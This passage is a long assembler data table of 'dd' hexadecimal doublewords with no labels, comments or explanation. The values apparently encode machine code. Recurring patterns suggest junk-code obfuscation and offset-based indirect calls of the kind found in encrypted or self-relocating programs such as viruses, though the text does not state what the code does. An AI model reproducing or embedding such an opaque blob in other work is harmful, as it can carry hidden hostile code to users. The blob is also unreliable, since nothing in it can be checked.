		dd 57470000h, 145DCEC3h, 17519D2Bh, 85C70607h, 60714A5h
		dd 67E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	73C35242h, 4FC9308Bh, 94F02D77h, 0DB81664Dh, 0BE66DAA3h
		dd 85C78374h, 6072FD5h,	0
		dd 0D01BD31h, 0B5FF0607h, 607026Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0A9C35343h,	976F6E89h, 0CB810841h
		dd 5514E378h, 1C1995FFh, 95890607h, 6071D15h, 95FF006Ah
		dd 6071B69h, 3BEBC08Bh,	70A39D2Fh, 62D9B458h, 0E5CA335Bh
		dd 870922ECh, 497FD651h, 5B5DFFF3h, 51A93604h, 826A2BA0h
		dd 0DD6BAA82h, 0A8A96FE0h, 1083AE4h, 1D511CF2h,	3F636154h
		dd 92CC8907h, 8D4FD79Eh, 0D64568Dh, 18D8906h, 8B06070Ah
		dd 71D6D9Dh, 0F2816606h, 85C7F08Dh, 60714A5h, 6CC8h, 0C75FEA80h
		dd 72FD585h, 6,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 11126661h, 9D8B9192h
		dd 6072DEDh, 54DB5FFh, 8B660607h, 1995FFC2h, 0F06071Ch
		dd 581h, 6326BE00h, 0DB811113h,	2B4F3998h, 95FF006Ah, 6071B69h
		dd 4BEBC08Bh, 1499094Ch, 4D9C156Ah, 3A683004h, 4A5E5454h
		dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 0F30B638Dh, 0EE8929A1h
		dd 247F1B1Dh, 0AA0F6E69h, 112F4736h, 2D6759A5h,	608AE520h
		dd 0DA15E043h, 3174E8B1h, 0CBF4431h, 0D930FB37h, 8D71E2F6h
		dd 0D65588Dh, 896EB206h, 70A018Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B52BC781h
		dd 60712E1h, 0C7FBBF0Fh, 714A585h, 614406h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 370505A3h, 0FE9707Ah, 68Ah, 5BD8900h, 0C706071Dh, 72FD585h
		dd 6, 9B5FF00h,	6606070Bh, 95FFD38Bh, 6071C19h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6C35545h, 0C838D97Ah
		dd 15F9BD8Bh, 6A0607h, 1B6995FFh, 0C08B0607h, 59651FEBh
		dd 5D15B5A7h, 259A8EA9h, 0DE33AF62h, 770B773Dh,	0DF31FA99h
		dd 3969E907h, 2F0BCF0Fh, 13E815h, 0D1140000h, 0D63AB217h
		dd 0A54D092h, 0D1C3600Ah, 0F9EFAA4h, 0F195895Ah, 5B060701h
		dd 21A9BD03h, 0C3810607h, 74EDh, 1858B56h, 58060729h, 732B60B9h
		dd 4BE98159h, 0E959730Eh, 8, 7EC2D139h,	21E55114h, 8589338Bh
		dd 6073145h, 0C21FF681h, 10B80B2Ch, 810B4BDBh, 6EB482C6h
		dd 2870F78h, 8A000000h,	0E5F681E2h, 8B6C5B9Ah, 728AD95h
		dd 95895606h, 6071319h,	9529038Fh, 6071665h, 8904EB83h
		dd 72D7D8Dh, 850F4906h,	0FFFFFFB4h, 0F7B70F60h,	4B63D981h
		dd 8D614A76h, 0D66EB8Dh, 2EE3BE06h, 8D897D7Fh, 6070A01h
		dd 0C1BF6656h, 85C75B0Dh, 60714A5h, 6C34h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A9C35545h, 5DB4D9Dh
		dd 2FD585C7h, 607h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 5173B7C3h, 69B2BE66h
		dd 0D5B5FF5Eh, 6A060713h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9018C353h, 54ADE933h
		dd 1995FFF5h, 6A06071Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 7B08C357h, 5F3270DDh
		dd 89DBD340h, 721798Dh,	0FF006A06h, 71B6995h, 0EBC08B06h
		dd 91C55518h, 0AD3D0CADh, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh
		dd 2B052199h, 14E859h, 9A800000h, 3D1A8F27h, 353495DBh
		dd 5D2D5232h, 4763E9B1h, 952B8AB2h, 60720A9h, 99C8815Bh
		dd 814A7C64h, 62F2C3h, 5850900h, 0BE06070Bh, 525E8CCAh
		dd 9449F681h, 852B525Eh, 6070F6Dh, 953133FFh, 6071DD1h
		dd 0E850F5Fh, 60000000h, 1B79B58Bh, 9D8B0607h, 6070629h
		dd 7CC78161h, 6035D899h, 61EC8AF5h, 537EEF81h, 0D080036Fh
		dd 2EF7818Fh, 8150F1DDh, 0B78712DAh, 8D8B5749h,	60721DDh
		dd 8589038Fh, 6072CEDh,	8901EB83h, 7099D8Dh, 4B4B4B06h
		dd 7E8h, 0E0598400h, 0B185F4CBh, 6880Fh, 0B5290000h, 6071941h
		dd 1EE815Ah, 0F000000h,	1585h, 0B5953300h, 0E9060711h
		dd 24h,	0F129392Bh, 1458D0E6h, 8B66E2DBh, 0FF66E9CEh, 6022FFFFh
		dd 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch, 7E8h
		dd 1A9DA400h, 8F501CE3h, 68B0Fh, 85890000h, 6070329h, 79950B58h
		dd 81060721h, 6AB9C0h, 9D015000h, 6070631h, 1A82BB5Fh
		dd 88B0000h, 5802C181h,	81F54090h, 2ED42BC1h, 0AE906h
		dd 70130000h, 2AAB7A68h, 0AA73342Bh, 568CF181h,	9D012D03h
		dd 60717CDh, 0CE951h, 0A54F0000h, 41C3D0F7h, 59BC8DBCh
		dd 8F74A8h, 83D08B66h, 8B5204E8h, 711A9B5h, 0EB835A06h
		dd 13850F01h, 0E9000000h, 2Eh, 7674E763h, 0A8B9F941h, 0AD554254h
		dd 8C0F4A08h, 6, 2655B58Bh, 87E90607h, 8CFFFFFFh, 0ACF80A72h
		dd 93EA5DDCh, 17F1680Dh, 0EE80ED2h, 6C000000h, 0FCC0C0D4h
		dd 66CC3D65h, 0A71A9957h, 5FD38B3Ch, 6E34C781h,	95890000h
		dd 607291Dh, 3337AEBBh,	0B0C38142h, 8BBDCCE3h, 71D3DB5h
		dd 0E937FF06h, 0Eh, 0B616AC8Ah,	4340EF6Ah, 0EA1BE80h, 8959CB2Ch
		dd 7187DBDh, 0A4F18106h, 91B1786h, 704A59Dh, 9CF18106h
		dd 896BF739h, 70DF9BDh,	72C18106h, 8B3ED0FFh, 7009195h
		dd 0CE815106h, 24636ACBh, 9D89078Fh, 60721A1h, 0CC8AEF81h
		dd 0D78B10FEh, 0CC86C781h, 0CE8010FEh, 1EB814Ch, 0F000000h
		dd 1485h, 21E900h, 7CF80000h, 32BEF332h, 0D22C47EDh, 0E321CF85h
		dd 0F6B70FADh, 0FFFF78E9h, 0B52FABFFh, 0E123EA0Dh, 82673BA2h
		dd 889A075h, 0DC781469h, 488F8DA6h, 2E863622h, 908635A1h
		dd 480AD925h, 99053025h, 148136F8h, 76023F25h, 7863025h
		dd 45AF1198h, 0A5893023h, 90863057h, 5DA3B5E3h,	4CC83622h
		dd 5AE5C220h, 32A234A4h, 7BD9EEC0h, 4580ED90h, 0D503BD23h
		dd 6F803A55h, 8E76BBF5h, 239315A0h, 0AFEE7E23h,	880DF006h
		dd 707B1411h, 0F77913A7h, 27811904h, 0E072B5A8h, 9879362Fh
		dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h
		dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 6E1BBD25h,	0AA80376Eh
		dd 9863020h, 390BD3DAh,	448B5953h, 4BB5BDA8h, 823E3628h
		dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 488F8DA6h
		dd 2E863622h, 908635A1h, 480AD925h, 99053025h, 0F305E983h
		dd 22B9A4h, 0EE80000h, 0CC000000h, 24F13752h, 0E0F81E2Bh
		dd 3D61E6B0h, 699D0B10h, 59060705h, 81D88B66h, 66BDC1h
		dd 0B8DCB600h, 1981h, 0FFF28B66h, 8820F31h, 0F000000h
		dd 28Bh, 5F5B5100h, 99F28166h, 18F7813Fh, 896C142Dh, 733459Dh
		dd 71F78106h, 0B66A1AF0h, 75F781E1h, 60661399h,	89D38B60h
		dd 70D0D85h, 0B5096106h, 6071E79h, 81398961h, 0BEF3A7E9h
		dd 0F9B58919h, 81060713h, 0BEF3A3C1h, 71E38119h, 8158FE3Ah
		dd 1E8h, 17850F00h, 66000000h, 0E9243ABBh, 24h,	93B2A6D8h
		dd 2654DC95h, 54581040h, 5E969B2h, 97000000h, 0F0EB4178h
		dd 0FFFF72E9h, 1A7B6FFFh, 99003DD1h, 9DBF04EBh,	0C7E94D8Bh
		dd 1000008h, 0E6CB854h,	1472BE4Ch, 1775C14Bh, 1775C16Bh
		dd 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh, 0F07C3F9Dh
		dd 0E7B631A4h, 0F0010C54h
		dd 6A462A09h, 0F60C67C6h, 3CCA90EEh, 0DC8F15DEh, 0B578D68Ch
		dd 0D2ECDB27h, 42A01B96h, 0D194F280h, 6EBE8D43h, 2EFC1369h
		dd 1941E66Bh, 5A2375ABh, 0F2CC82D2h, 0C927A2h, 0B513C67Ch
		dd 88E54EEh, 47C00C45h,	0C5158753h, 3D00CF4Ah, 22F00B51h
		dd 72D01CD2h, 106E21AFh, 61EFB14Dh, 5B0E5EAEh, 45A31E99h
		dd 0F545F87Ch, 0B511726h, 4585FF0h, 0D216189Fh,	4FF2A8F8h
		dd 9927EAF7h, 0AE74D24Dh, 6F257528h, 0CA510DCFh, 2D925599h
		dd 0D0595E0Fh, 82E4671Dh, 69000000h, 0AC0440Bh,	6514DB26h
		dd 0C67A796h, 0F54817F6h, 6AF60C67h, 1FE2401Ah,	3E8EDE91h
		dd 4F1573EEh, 13A163C1h, 0A75A1060h, 83FE8249h,	3636F1C0h
		dd 7127ADE3h, 2381FCBEh, 7A1DD361h, 4C35F8A0h, 252A47CCh
		dd 5CC2AE0h, 0FAA6047Fh, 9B51A154h, 85EDAF4Fh, 262D93C3h
		dd 49000000h, 159014DBh, 6768CB9Ah, 0A5F5F60Ch,	42F57F47h
		dd 0BA893CF2h, 0F60C6776h, 1CC6609h, 146AB63Ah,	1Fh, 9014DB30h
		dd 672D0EDDh, 9033F60Ch, 0E0642BB6h, 0F8BB1994h, 1322F16Ch
		dd 4CF60C67h, 4A6246FCh, 0FE79F474h, 6781B483h,	8EDEF60Ch
		dd 8DA13ACBh, 0B76D4447h, 13FED8E8h, 43128DFCh,	0F00B01F0h
		dd 0E69927E9h, 0A96CBC96h, 0C5093176h, 0E89BEB8Ah, 0EF3BC18Ah
		dd 9144C891h, 0D14C1CA2h, 51B48756h, 59A9F00Bh,	435928A3h
		dd 0ACFA1448h, 7215A95Ch, 0C0440DD8h, 0C74D1674h, 48064514h
		dd 32D5F60Ch, 8EDB018h,	0E6C6FB31h, 2FF8560Ch, 6CC2AA5h
		dd 0D424AA72h, 0CF1BD121h, 0F76F4AEBh, 0DBA28613h, 0BEA88C18h
		dd 570AB460h, 8A055107h, 27DA642Ch, 0C67907C9h,	0C82676h
		dd 0BEDCC076h, 2F327BFBh, 261BDE66h, 56F6AC73h,	96C353A4h
		dd 54E4h, 37A66900h, 0A7A24074h, 0C05E0A68h, 6F4A260Ah
		dd 43BE13F7h, 0E4971DE5h, 679B9A69h, 74C4F60Ch,	9C9F6E24h
		dd 0C1F60C67h, 0DABE8D71h, 901712DBh, 7D2CC733h, 0BEAA8EDEh
		dd 25198AFBh, 0C30E756h, 652878F6h, 0DF9566CFh,	965DBB36h
		dd 0E370540Ah, 30h, 0F76F4AFFh,	4CEFBE13h, 70F60C67h, 11C44A12h
		dd 179D63C1h, 2CA7F761h, 0CB7E0CCEh, 0BEE1C57Bh, 621E13FBh
		dd 0EDA3A7DFh, 12DB8E72h, 0AC90A68Ah, 926118DBh, 0F60C67A3h
		dd 691C6CBCh, 10E9099Ah, 1931D4F6h, 0D66534AFh,	87F608E6h
		dd 60238137h, 632A88D4h, 51AF2ADDh, 0F35107A5h,	33F5A82Ch
		dd 642BB690h, 32F494E0h, 7293C7B0h, 6Ch, 4BD199F7h, 0AE924898h
		dd 0D98C18DBh, 0AE38005Eh, 82B180FBh, 0DBF60C67h, 96853B8Bh
		dd 0F6C54028h, 0FC136B22h, 27AD74D2h, 0FC30B174h, 0C6054463h
		dd 96E6C076h, 6FF5BD1Bh, 22F16CBCh, 0F00B5C13h,	9346FC4Ch
		dd 2FE26E35h, 3516E26Ch, 2280668Ah, 7C02CA76h, 5AFD792Ch
		dd 0A12FF5C0h, 5ED951h,	0A7F7AA54h, 0E9F44EF1h,	6A4E9A26h
		dd 0B57E18DBh, 0B12CDF2Fh, 4B018B53h, 8B06625Ch, 137C50BCh
		dd 0F26DBDFCh, 3A4E4B2Fh, 0D389D9C5h, 43BEA387h, 0C67C174h
		dd 984E9EF6h, 28E310A9h, 0B4CB677Fh, 8609ED3Dh,	8C18DBA2h
		dd 9909EDA8h, 96C322E7h, 3F27h,	6F4A4300h, 673EFDCCh, 5C1FF60Ch
		dd 9561540Eh, 9DFB4BAFh, 48984BF1h, 43BE14F8h, 0DE911FE5h
		dd 2A09D88Eh, 33F60C67h, 0DABEFFE3h, 0B97C12DBh, 90F7DB2Bh
		dd 63F1B715h, 37E3C9ADh, 0FF000000h, 7CF76F4Ah,	10BC581Eh
		dd 1B6BBB6Eh, 7E621868h, 674CEFBEh, 3181F60Ch, 287F3B6h
		dd 0B126F586h, 0DABE17FBh, 0A68A12DBh, 0B9960BEh, 0B04EFA58h
		dd 0A75DADFDh, 18DB1AFEh, 0C127919h, 5DAD7E0Dh,	0A59867E2h
		dd 0BAF60C5Bh, 3201B46Ah, 0F610D591h, 4491A94Ch, 49A7F381h
		dd 0C4D58B82h, 0D0C61AA8h, 0BB8A0580h, 0F6089578h, 2CDF95E5h
		dd 0FE7907CEh, 974AF4A0h, 9EC571D4h, 6FBF7A3Bh,	0A14406B9h
		dd 0EF753C89h, 654103A3h, 5C8193C7h, 6000000h, 0A157E5A8h
		dd 7443BEBDh, 0F60C67C1h, 0F3CD531Ah, 0CC8FEDA3h, 209E8D40h
		dd 8EFECD48h, 4EFC1388h, 473104D3h, 0BE8DF00Bh,	0F00B477Fh
		dd 66B690E0h, 0D386D6B0h, 7326B275h, 14C74D15h,	8645DD80h
		dd 0E9D36B0Eh, 0DF3DDF8Bh, 8CDC8F1Dh, 27B578D6h, 0B19D60DBh
		dd 0DECCC445h, 0DBE4C87Eh, 0EAD98C18h, 9E1994D4h, 0ACD459DBh
		dd 0AD9A919h, 0F60CA02Bh, 0C0007134h, 3D2E8B13h, 0EDBC37EDh
		dd 0FC13E14Fh, 0F974C010h, 9A4DEF9Bh, 4AB0944Ah, 8613F76Fh
		dd 2352480Bh, 501B9AA5h, 18DBB69Ah, 9EDA88Ch, 0C322E799h
		dd 622796h, 31AC0000h, 0C67D362h, 863C8CF5h, 0E96F4AA2h
		dd 694D9D23h, 0E7CCFBBEh, 7F38799Bh, 75D34EC9h,	1F6F22AEh
		dd 1366D5A4h, 0A7F7F60Ch, 131322F1h, 0FC4CF60Ch, 0DBDABE18h
		dd 0D95A1712h, 70C77645h, 4898F60Ch, 8A665C85h,	0FDFD400Fh
		dd 1262F60Ch, 0AC90DEC2h, 44E3h, 430A6800h, 0AB5EE6AFh
		dd 71550B5Bh, 13F76F4Ah, 674CEFBEh, 3181F60Ch, 0E543BE4Dh
		dd 0FDE1971Dh, 0F8A12DBh, 0A265EBB1h, 8A15E282h, 0A68A400Eh
		dd 73F9FBBEh, 45CDAF4Ch, 0E3A6F682h, 957DA57Ah,	0F49D535Ch
		dd 8C18DB10h, 0E9B90AD9h, 0C164F610h, 0B995C69h, 129E61BFh
		dd 1A4E705Fh, 0F27E419Fh, 46F5C43Fh, 17F608E6h,	46C177C7h
		dd 17082D77h, 0E63282FCh, 846F4A02h, 0A95F9210h, 0FBDF2F88h
		dd 18DBA286h, 0FBBEA88Ch, 610CC839h, 9FEBA14Fh,	77FDC624h
		dd 0E799DDC1h, 2796C322h, 35h, 0F76F4A43h, 1F3AB97Ch, 0D439368Dh
		dd 0EFBE3A1Eh, 0F60C674Ch, 0BEDDC111h, 7C12DBDAh, 0D77521B5h
		dd 984D424h, 0C67FB3Ah,	0C41464F6h, 0E3AC90E0h,	4Eh, 846F4AFFh
		dd 16CEEA81h, 8064B422h, 0F9C843BEh, 0F60C673Ah, 4E1DD323h
		dd 0F60C67EFh, 0BEAC90E0h, 7443BEDAh, 0F60C67C1h, 47114CB5h
		dd 0AD87AAC1h, 8049A75Dh, 370681FCh, 0F60CB204h, 6F530959h
		dd 9860BEh, 0ADFDB03Eh,	0A45AAA5Dh, 18DB17FBh, 0B90AD98Ch
		dd 64F610E9h, 3FC58BE9h, 0E3863C8Ch, 2DBB7E4Bh,	34C083E1h
		dd 0F955BB9h, 0A3560C5Ch, 0E35E0AB4h, 17F74414h, 681D1FCh
		dd 0E879BC8Bh, 96E6F00Fh, 4AB094E0h, 8613F76Fh,	41FBBEA2h
		dd 0AE8D5C54h, 0AFF60CF5h, 2E289C5Fh, 0DD602FAAh, 82F60C2Fh
		dd 5B1E7C32h, 9EDE9CDh,	0C322E799h, 2F2796h, 0BE430000h
		dd 550B9960h, 2F135366h, 674CEFBEh, 0C111F60Ch,	0BEDABEDDh
		dd 81E5AEFBh, 0FFB514EFh, 7054D8A1h, 60BEAC90h,	45A109Eh
		dd 2Bh,	0E96F4A20h, 9CEC9F3Dh, 0EFBE684Ch, 0F60C674Ch
		dd 0BE4D3181h, 8A12DBDAh, 65EBB10Fh, 0C8AC62B2h, 4071FBBEh
		dd 0E67624C4h, 0DBA38730h, 2FB57E18h, 0FE692C7Ch, 0B994116Eh
		dd 3827DA2Ah, 0EC67E286h, 0DE0FAB29h, 8C63D310h, 7F7E8BBFh
		dd 6F3EF444h, 0FC13BEEDh, 9A78CE91h, 177080CBh,	0BE9F548h
		dd 0CA1A6AF0h, 9EEA3A14h, 3B846023h, 0E1301F93h, 73823C2Bh
		dd 0D70F9D00h, 26A1F185h, 1E100D57h, 18E762FAh,	0F606CF25h
		dd 0E79AEA3Ah, 0BF3AC689h, 60139961h, 0B00E5A10h, 28E51EDh
		dd 7430FFB2h, 3B4199F9h, 0AB662C0h, 0BD70C05Eh,	1023F26Dh
		dd 4DBD8026h, 8AA447FDh, 75F07C3Fh, 0DC35117h, 14A063C1h
		dd 0EC4F1E99h, 71BD8026h, 5AB86B21h, 0C95D10AEh, 0FEC10C26h
		dd 5C82672h, 126EC477h,	0F3000000h, 268AA978h, 75D3BD80h
		dd 247427ADh, 4D3A1ED4h, 8E2EDB69h, 2EBA7DDBh, 0C9571D7Bh
		dd 66F0B816h, 28E55B3h,	0A62AF14Fh, 43E995F3h, 0E3693290h
		dd 8210D230h
		dd 89517ECFh, 4C181E1h,	83000000h, 0C8704E9h, 0C895C24h
		dd 6A296824h, 2C890000h, 4EB16824h, 4890000h, 0D5B85024h
		dd 3504C41Eh, 0E9058E1h, 61B15ABDh, 58C52910h, 8904EC83h
		dd 4812424h, 424h, 0EC815800h, 4, 81242C89h, 7AA82434h
		dd 408F3E47h, 8708108h,	3E477AA8h, 5324048Bh, 0C381E389h
		dd 4, 8704C383h, 8B5C241Ch, 8951242Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 0A6E95C24h, 94FFFA08h, 4DF8613Bh,	783BD88h
		dd 0AE7CB40Dh, 55B83BA3h, 3060D73h, 52E0FFC5h, 0D341E49Bh
		dd 2D16273Ch, 3423E6FFh, 0D0DE294h, 733BFF58h, 0AD67A133h
		dd 62EF61Fh, 3313A326h,	73C51B8h, 0FD242BF5h, 112C1213h
		dd 0B3FC301h, 0F936E2C7h, 930FDA83h, 0E8014D17h, 7, 0D577E76Ch
		dd 66C266D1h, 5854C9BEh, 0C0815F50h, 6005h, 0E3C78166h
		dd 8BDB2B5Dh, 180C8BD1h, 9335C181h, 0F1814E51h,	746443FBh
		dd 1FF78166h, 0BEE981BDh, 0E85E9EF4h, 0Ah, 0DA0E6764h
		dd 6E3C8D3Ch, 0FE9ECC4h, 0F1000000h, 510EEC71h,	0AC3BB11Fh
		dd 9A78AAB1h, 515E70EFh, 8FD38B66h, 0F8501804h,	48B0F5Fh
		dd 66000000h, 83CCA4BFh, 0BF0F03EBh, 0E9524BF8h, 0Eh, 2811C860h
		dd 26DF8A2Ah, 1405D029h, 815F2176h, 0FFA094FBh,	86850FFFh
		dd 81FFFFFFh, 1383ADEEh, 0BA8D8D2Fh, 6A060D75h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 4A85C356h, 0CFC28166h, 8F0FBBh, 89000000h, 70A018Dh
		dd 14E906h, 592F0000h, 35354969h, 0E326C949h, 9AA01AC8h
		dd 690231C7h, 85C74B8Ch, 60714A5h, 60D8h, 13A98D89h, 85C70607h
		dd 6072FD5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EBC35040h
		dd 80F44D8Ch, 0B5FFD9DFh, 607214Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0E9C35040h,	97FD85F8h, 7BB8FEB2h
		dd 0FF1AE9B8h, 71C1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0B589A213h, 6070149h
		dd 95FF006Ah, 6071B69h,	1BEBC08Bh, 2B10C97Bh, 8358353Ah
		dd 38883B0h, 27B2D233h,	93AD6ED7h, 0AFBB7B7Eh, 0E8AECAF2h
		dd 12h,	3C41430Fh, 0BEF7BC2h, 98AF010Fh, 774DE174h, 10E85F9Bh
		dd 0FD000000h, 831778EDh, 723902E1h, 54F972B5h,	236D29EDh
		dd 71D49B5h, 0B25B5E06h, 6CC381EFh, 0F9000065h,	68h, 68D0F00h
		dd 89000000h, 71A4D9Dh,	958B5F06h, 6071D4Dh, 291F34FFh
		dd 719D9BDh, 0D4805906h, 0B3C18106h, 8A4991D9h,	98E981C5h
		dd 8A372DEAh, 38F181F5h, 665DCC39h, 51C32DBAh, 1C298533h
		dd 48F0607h, 0C7BF0F3Bh, 0A820Fh, 29600000h, 72EFD9Dh
		dd 61A2B506h, 5201EF83h, 31858509h, 4F580607h, 8D094F4Fh
		dd 6071151h, 9B70FF81h,	850FFFFFh, 0Dh,	0E9F08B66h, 24h
		dd 0DAA6F02Fh, 0C1BD89E4h, 0E9060706h, 0FFFFFF84h, 4D512C1Ch
		dd 0D0E18167h, 6A7D888Dh, 0FEDE0264h, 80D584EEh, 77BF8D8Dh
		dd 0E081060Dh, 0DC63608h, 0A018D89h, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 319BC1C3h
		dd 0B224728Eh, 0AE919h,	10ED0000h, 0DB116D8Fh, 0CA29B0C9h
		dd 14A585C7h, 713C0607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0C07ED6C3h, 1DCD14CAh
		dd 9D89BEB8h, 6071F95h,	2FD585C7h, 607h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 407F97C3h, 168F0FB3h, 0E9000000h, 11h, 0F76AAEE5h, 3ED6BEAFh
		dd 81564868h, 76340042h, 4DB5FF01h, 6A060705h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 15A0C352h, 28B3EB1Ah, 95FFF88Ch, 6071C19h, 8E9h, 0BB0C0300h
		dd 0DB6DC96Eh, 0FF006A65h, 71B6995h, 0EBC08B06h, 2111F34Bh
		dd 76A1E0Dh, 54577B0Ah,	187898F3h, 96095395h, 371A097Fh
		dd 7ED77729h, 941EAFD7h, 22C58C83h, 893B3C68h, 0EA9825F8h
		dd 817BCC00h, 0AEF9BCADh, 5C03A336h, 0A81E9B98h, 85261303h
		dd 0C55F5DDBh, 5A413953h, 8E54C416h, 78F58D8Dh,	6A060Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0DA5B6BC3h, 1AFAE887h, 58C0Fh, 0B4BF0000h, 8978E6B8h
		dd 70A018Dh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 7C9827ADh, 0F3D08752h, 0A585C754h
		dd 2C060714h, 6000006Ah, 899D8B60h, 8906072Eh, 72825B5h
		dd 85896106h, 6071E69h,	0D585C761h, 6072Fh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E962C353h, 12h, 28E58E7Ah, 9E2399BEh, 43737B76h
		dd 0DCC7BFC5h, 0B5FFA46Eh, 607128Dh, 58E0Fh, 81660000h
		dd 0F912EFE0h, 1C1995FFh, 840F0607h, 7,	18F0Fh,	6AFC0000h
		dd 6995FF00h, 8B06071Bh, 0D00EEBC0h, 2067AE5h, 3070AB38h
		dd 8E9E2BA4h, 698D8D01h, 66060D79h, 1FB6C68Bh, 0A018D89h
		dd 0C7F50607h, 714A585h, 66A806h, 39858900h, 0C7060717h
		dd 72FD585h, 6,	0A8E48000h, 54DB5FFh, 14E90607h, 0B000000h
		dd 0EF26CDBFh, 81146E4Ch, 20208290h, 0F87471Eh,	0FFD9C54Dh
		dd 71C1995h, 0AD958B06h, 6A06071Ch, 6995FF00h, 8B06071Bh
		dd 954BEBC0h, 58F2057Eh, 89D1CEC6h, 0FD5E11A6h,	0C1C8B022h
		dd 576DCDE4h, 7DC1D3C6h, 6FD55D29h, 61612294h, 12D040E6h
		dd 2BEC3C2Bh, 0A9E1B846h, 0B4DD571Ah, 15C1A0Ch,	0F33FAFFEh
		dd 6881BC95h, 7D3A2395h, 4D860154h, 5A5683D6h, 4EB8785h
		dd 30FCC30h, 5A8E9h, 4AF29F00h,	50DEA0FEh, 57DDA604h, 5B01AD0Bh
		dd 66EAB10Fh, 0CE0F301Ah, 0CF2D7907h, 0D3317D07h, 0DD3B870Dh
		dd 0CF428E1Ah, 1EB68554h, 0C8A7F001h, 0ECFBBEE4h, 4FDDA092h
		dd 2A894C9Ch, 8655D0B2h, 0F60CA9B7h, 44A258A8h,	1A78F381h
		dd 6417CD53h, 65B13F06h, 5B84407h, 0A558E4A7h, 8006CC2Ah
		dd 1CAA6CCAh, 0F44EF169h, 0A06F26E9h, 0F60CA99Dh, 0C57847C2h
		dd 9AF60CA9h, 0D39CFA4Ah, 0F6469649h, 6BE4B87Bh, 0D26730B3h
		dd 0AC72D01Ch, 0B67CDA26h, 0D8F2B530h, 8581BB61h, 80DE9147h
		dd 1D7B2EB8h, 0BA18CB71h, 0BB15DF1h, 882B08BBh,	0FA9D31AEh
		dd 41CF9520h, 48D497F5h, 0DC7AC695h, 0BB67F60Ch, 37005E11h
		dd 0DB7EFAADh, 32AD8443h, 0D1870DD4h, 0C587142Eh, 593C3E9h
		dd 4Dh,	8C18DB21h, 67290AD9h, 9235F60Ch, 2F29EBB8h, 16993C3h
		dd 85000000h, 0D88B19DBh, 772AB87Ah, 54CF6D19h,	672B0AD9h
		dd 0E434F60Ch, 5B1D7B2Eh, 2E80DD5Ah, 0A5AA79Ch,	0AD33F957h
		dd 0A07A1DFAh, 2E08AB23h, 753E1A3h, 0E5AE6A9h, 0C843BE2Ah
		dd 0C673AF9h, 4D323F6h,	0F60C6731h, 0CA28DE2Eh,	6CCA7D03h
		dd 0BC620EAAh, 2BB158F9h, 8584BB2h, 0A52FF755h,	43D194F2h
		dd 0DD751890h, 3F1450ABh, 1565C4A3h, 0CE7AD853h, 7FD77A30h
		dd 0D925AB72h, 0B12CB87Bh, 94D46736h, 3989F60Ch, 0A972D083h
		dd 71C14F15h, 0E39860BEh, 0C942114h, 9EEE3EF6h,	3DCB8DEBh
		dd 0FB53F68Ah, 3610B3FCh, 0C41FB769h, 64F793h, 0DB130000h
		dd 7FDD9014h, 55B32EB6h, 2520593h, 7E21994Ch, 0CE5219A4h
		dd 0D75D2482h, 741AC624h, 8CAF7EF9h, 0D1F60C67h, 0CF18CB81h
		dd 2FAA122Ch, 0C67DD60h, 7C3282F6h, 0C32D2ADCh,	536A93h
		dd 0DB860000h, 7FDD9014h, 1A782BB9h, 0BB19CC52h, 29BD70F4h
		dd 522FAC86h, 0CF2D97AFh, 7BCB7E06h, 14A067C5h,	19DBE4C8h
		dd 0BABBBA7Dh, 9CA70D28h, 0FAADFD4Dh, 0C73052Bh, 98B255F6h
		dd 0F026D30h, 9EAC6815h, 37EA9440h, 0CF9131E7h,	0F93C3BEh
		dd 1, 8A12DB2Bh, 2AB679D7h, 0CC501977h,	70F4BB19h, 0E53DE0BDh
		dd 97AF52E6h, 0AFFB814Ah, 0EF6AFEC0h, 0C6541674h, 3E0DC313h
		dd 0FC139072h, 2B1C7F42h, 13026D6Bh, 3908835Dh,	0F00BD6FAh
		dd 10C31363h, 0E661EFB2h, 3C0BC088h, 0F00BD6F9h, 13C61666h
		dd 0B568ECB5h, 0BB71565h, 15FAB61h, 84FFB23Eh, 0D3C680C1h
		dd 0C77D1CCBh, 0BFC47F8h, 44D298F0h, 0E76D3391h, 842AD634h
		dd 0C8071FC2h, 0C6EE48EBh, 5107FE03h, 0D18713C1h, 0D824B073h
